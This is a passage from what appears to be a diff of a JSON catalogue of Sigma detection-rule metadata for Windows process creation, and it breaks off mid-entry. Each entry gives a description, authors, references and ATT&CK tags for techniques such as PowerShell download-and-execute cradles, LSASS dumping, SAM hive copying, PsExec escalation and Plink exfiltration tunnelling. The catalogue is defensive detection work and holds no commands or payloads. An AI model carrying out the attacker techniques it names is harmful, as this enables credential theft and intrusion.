"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml", - "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "9386d78a-7207-4048-9c9f-a93a7c2d1c05", - "value": "Code Execution via Pcwutl.dll" - }, - { - "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", - "meta": { - "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Legitimate use of Pester for writing tests for Powershell scripts and modules" - ], - "filename": "proc_creation_win_susp_pester.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Oddvarmoe/status/993383596244258816", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "59e938ff-0d6d-4dc3-b13f-36cc28734d4e", - "value": "Execute Code with Pester.bat" - }, - { - "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/20", - "falsepositive": [ - "Legitimate use of Pester for writing tests for Powershell scripts and modules" - ], - "filename": "proc_creation_win_susp_pester_parent.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/_st0pp3r_/status/1560072680887525378", - "https://twitter.com/Oddvarmoe/status/993383596244258816", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "18988e1b-9087-4f8a-82fe-0414dce49878", - "value": "Execute Code with Pester.bat as Parent" - }, - { - "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", - "meta": { - "author": "Ilya Krestinichev", - "creation_date": "2022/11/03", - "falsepositive": [ - "False positive could occur in admin scripts that execute inline" - ], - "filename": "proc_creation_win_susp_ping_del.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml", - "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", - "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "54786ddc-5b8a-11ed-9b6a-0242ac120002", - "value": "Suspicious Ping And Del Combination" - }, - { - "description": "Detects a ping command that uses a hex encoded IP address", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unlikely, because no sane admin pings IP addresses in a hexadecimal form" - ], - "filename": "proc_creation_win_susp_ping_hex_ip.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml", - "https://twitter.com/vysecurity/status/977198418354491392" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.t1027" - ] - }, - "uuid": "1a0d4aba-7668-4365-9ce4-6d79ab088dfd", - "value": "Ping Hex IP" - }, - { - "description": "Detects suspicious Plink tunnel port forwarding to a local port", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/19", - "falsepositive": [ - "Administrative activity using a remote port forwarding to a local port" - ], - "filename": "proc_creation_win_susp_plink_port_forward.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml", - "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001" - ] - }, - "uuid": "48a61b29-389f-4032-b317-b30de6b95314", - "value": "Suspicious Plink Port Forwarding" - }, - { - "description": "Execution of plink to perform data exfiltration and tunneling", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/04", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_plink_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml", - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ] - }, - "uuid": "f38ce0b9-5e97-4b47-a211-7dc8d8b871da", - "value": "Suspicious Plink Usage RDP Tunneling" - }, - { - "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/24", - "falsepositive": [ - "Other tools that work with encoded scripts in the command line instead of script files" - ], - "filename": "proc_creation_win_susp_powershell_cmd_patterns.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_cmd_patterns.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c", - "value": "Suspicious PowerShell Encoded Command Patterns" - }, - { - "description": "Detects suspicious ways to download files or content using PowerShell", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/24", - "falsepositive": [ - "Scripts or tools that download files" - ], - "filename": "proc_creation_win_susp_powershell_download_cradles.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml", - "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd" - ], - "tags": "No established tags" - }, - "uuid": "6e897651-f157-4d8f-aaeb-df8151488385", - "value": "PowerShell Web Download" - }, - { - "description": "Detects suspicious ways to download files or content and execute them using PowerShell", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/24", - "falsepositive": [ - "Scripts or tools that download files and execute them" - ], - "filename": "proc_creation_win_susp_powershell_download_iex.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml", - "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775", - "value": "PowerShell Web Download and Execution" - }, - { - "description": "Detects suspicious powershell command line parameters used in Empire", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/04/20", - "falsepositive": [ - "Other tools that incidentally use the same command line parameters" - ], - "filename": "proc_creation_win_susp_powershell_empire_launch.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", - "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "79f4ede3-402e-41c8-bc3e-ebbf5f162581", - "value": "Empire PowerShell Launch Parameters" - }, - { - "description": "Detects some Empire PowerShell UAC bypass methods", - "meta": { - "author": "Ecco", - "creation_date": "2019/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_powershell_empire_uac_bypass.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_uac_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "car.2019-04-001" - ] - }, - "uuid": "3268b746-88d8-4cd3-bffc-30077d02c787", - "value": "Empire PowerShell UAC Bypass" - }, - { - "description": "Commandline to launch powershell with a base64 payload", - "meta": { - "author": "frack113", - "creation_date": "2022/01/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_powershell_encode.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml", - "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "fb843269-508c-4b76-8b8d-88679db22ce7", - "value": "Suspicious Execution of Powershell with Base64" - }, - { - "description": "Detects suspicious encoded character syntax often used for defense evasion", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_powershell_encoded_param.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/0gtweet/status/1281103918693482496", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encoded_param.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "e312efd0-35a1-407f-8439-b8d434b438a6", - "value": "PowerShell Encoded Character Syntax" - }, - { - "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", - "meta": { - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community", - "creation_date": "2018/09/03", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_susp_powershell_enc_cmd.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_enc_cmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ca2092a1-c273-4878-9b4b-0d60115bf5ea", - "value": "Suspicious Encoded PowerShell Command Line" - }, - { - "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/04/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_powershell_getprocess_lsass.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml", - "https://twitter.com/PythonResponder/status/1385064506049630211" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ] - }, - "uuid": "b2815d0d-7481-4bf0-9b6c-a4c48a94b349", - "value": "PowerShell Get-Process LSASS" - }, - { - "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", - "meta": { - "author": "John Lambert (rule)", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_powershell_hidden_b64_cmd.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml", - "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f26c6093-6f14-4b12-800f-0fcb46f5ffd0", - "value": "Malicious Base64 Encoded PowerShell Keywords in Command Lines" - }, - { - "description": "Detects suspicious ways to run Invoke-Execution using IEX acronym", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/24", - "falsepositive": [ - "Legitimate scripts that use IEX" - ], - "filename": "proc_creation_win_susp_powershell_iex_patterns.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2" - ], - "tags": "No established tags" - }, - "uuid": "09576804-7a05-458e-a817-eb718ca91f54", - "value": "Suspicious PowerShell IEX Execution Patterns" - }, - { - "description": "Detects suspicious powershell invocations from interpreters or unusual programs", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/01/16", - "falsepositive": [ - "Microsoft Operations Manager (MOM)", - "Other scripts" - ], - "filename": "proc_creation_win_susp_powershell_parent_combo.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.carbonblack.com/2017/03/15/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_combo.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "95eadcb2-92e4-4ed1-9031-92547773a6db", - "value": "Suspicious PowerShell Invocation Based on Parent Process" - }, - { - "description": "Detects a suspicious parents of powershell.exe", - "meta": { - "author": "Teymur Kheirkhabarov, Harish Segar (rule)", - "creation_date": "2020/03/20", - "falsepositive": [ - "Other scripts" - ], - "filename": "proc_creation_win_susp_powershell_parent_process.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_process.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "754ed792-634f-40ae-b3bc-e0448d33f695", - "value": "Suspicious PowerShell Parent Process" - }, - { - "description": "Detects suspicious PowerShell scripts accessing SAM hives", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/29", - "falsepositive": [ - "Some rare backup scenarios", - "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs" - ], - "filename": "proc_creation_win_susp_powershell_sam_access.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/splinter_code/status/1420546784250769408", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sam_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "1af57a4b-460a-4738-9034-db68b880c665", - "value": "PowerShell SAM Copy" - }, - { - "description": "Detects suspicious sub processes spawned by PowerShell", - "meta": { - "author": "Florian Roth, Tim Shelton", - "creation_date": "2022/04/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_powershell_sub_processes.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml", - "https://twitter.com/ankit_anubhav/status/1518835408502620162" - ], - "tags": "No established tags" - }, - "uuid": "e4b6d2a7-d8a4-4f19-acbd-943c16d90647", - "value": "Suspicious PowerShell Sub Processes" - }, - { - "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_powershell_webclient_casing.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_webclient_casing.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba", - "value": "Net WebClient Casing Anomalies" - }, - { - "description": "Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/11", - "falsepositive": [ - "Other tools with the same command line flag combination", - "Legitimate uses as part of Visual Studio development" - ], - "filename": "proc_creation_win_susp_pressynkey_lolbin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1463526834918854661", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pressynkey_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "a20391f8-76fb-437b-abc0-dba2df1952c6", - "value": "NodejsTools PressAnyKey Lolbin" - }, - { - "description": "Attackers can use print.exe for remote file copy", - "meta": { - "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", - "creation_date": "2020/10/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_print.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml", - "https://twitter.com/Oddvarmoe/status/985518877076541440", - "https://lolbas-project.github.io/lolbas/Binaries/Print/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "bafac3d6-7de9-4dd9-8874-4a1194b493ed", - "value": "Abusing Print Executable" - }, - { - "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/10/30", - "falsepositive": [ - "Unlikely, because no one should dump an lsass process memory", - "Another tool that uses the command line switches of Procdump" - ], - "filename": "proc_creation_win_susp_procdump_lsass.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml", - "Internal Research" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.credential_access", - "attack.t1003.001", - "car.2013-05-009" - ] - }, - "uuid": "5afee48e-67dd-4e03-a783-f74259dcf998", - "value": "Suspicious Use of Procdump on LSASS" - }, - { - "description": "Detects suspicious use of Process Hacker, a tool to view and manipulate processes, kernel options and other low level stuff", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/10/10", - "falsepositive": [ - "Sometimes used by developers or system administrators for debugging purposes" - ], - "filename": "proc_creation_win_susp_process_hacker.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://processhacker.sourceforge.io/", - "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_process_hacker.yml" - ], - "tags": "No established tags" - }, - "uuid": "811e0002-b13b-4a15-9d00-a613fce66e42", - "value": "Process Hacker Usage" - }, - { - "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/11", - "falsepositive": [ - "Legitimate tools that accidentally match on the searched patterns" - ], - "filename": "proc_creation_win_susp_progname.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md" - ], - "tags": "No established tags" - }, - "uuid": "efdd8dd5-cee8-4e59-9390-7d4d5e4dd6f6", - "value": "Suspicious Program Names" - }, - { - "description": "Detects user accept agreement execution in psexec commandline", - "meta": { - "author": "omkar72", - "creation_date": "2020/10/30", - "falsepositive": [ - "Administrative scripts." - ], - "filename": "proc_creation_win_susp_psexec_eula.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "attack.t1021" - ] - }, - "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988", - "value": "Psexec Accepteula Condition" - }, - { - "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution", - "meta": { - "author": "Romaissa Adjailia, FLorian Roth", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "filename": "proc_creation_win_susp_psexesvc.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml", - "https://www.youtube.com/watch?v=ro2QuZTIMBM", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "fdfcbd78-48f1-4a4b-90ac-d82241e368c5", - "value": "PsExec Service Execution" - }, - { - "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "filename": "proc_creation_win_susp_psexesvc_as_system.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "7c0dcd3d-acf8-4f71-9570-f448b0034f94", - "value": "PsExec Service Execution as LOCAL SYSTEM" - }, - { - "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators", - "meta": { - "author": "FLorian Roth", - "creation_date": "2022/07/21", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "filename": "proc_creation_win_susp_psexesvc_renamed.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml", - "https://www.youtube.com/watch?v=ro2QuZTIMBM", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" - ], - "tags": [ - "attack.execution" - ] - }, - "uuid": "51ae86a2-e2e1-4097-ad85-c46cb6851de4", - "value": "Renamed PsExec Service Execution" - }, - { - "description": "Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2021/11/23", - "falsepositive": [ - "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)" - ], - "filename": "proc_creation_win_susp_psexex_paexec_escalate_system.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml", - "https://www.poweradmin.com/paexec/", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23", - "value": "PsExec/PAExec Escalation to LOCAL SYSTEM" - }, - { - "description": "Detects suspicious flags used by PsExec and PAExec but no usual program name in command line", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2021/05/22", - "falsepositive": [ - "Weird admins that rename their tools", - "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing" - ], - "filename": "proc_creation_win_susp_psexex_paexec_flags.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml", - "https://www.poweradmin.com/paexec/", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "uuid": "207b0396-3689-42d9-8399-4222658efc99", - "value": "PsExec/PAExec Flags" - }, - { - "description": "Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery.", - "meta": { - "author": "Nasreddine Bencherchali @nas_bench", - "creation_date": "2021/12/18", - "falsepositive": [ - "Another tool that uses the command line switches of PsLogList", - "Legitimate use of PsLogList by an administrator" - ], - "filename": "proc_creation_win_susp_psloglist.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml", - "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos" - ], - "tags": [ - "attack.discovery", - "attack.t1087", - "attack.t1087.001", - "attack.t1087.002" - ] - }, - "uuid": "aae1243f-d8af-40d8-ab20-33fc6d0c55bc", - "value": "Suspicious Use of PsLogList" - }, - { - "description": "The psr.exe captures desktop screenshots and saves them on the local machine", - "meta": { - "author": "Beyu Denis, oscd.community", - "creation_date": "2019/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_psr_capture_screenshots.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", - "https://lolbas-project.github.io/lolbas/Binaries/Psr/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psr_capture_screenshots.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ] - }, - "uuid": "2158f96f-43c2-43cb-952a-ab4580f32382", - "value": "Psr.exe Capture Screenshots" - }, - { - "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/01/09", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "proc_creation_win_susp_ps_appdata.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/JohnLaTwC/status/1082851155481288706", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml", - "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ac175779-025a-4f12-98b0-acdaeb77ea85", - "value": "PowerShell Script Run in AppData" - }, - { - "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", - "meta": { - "author": 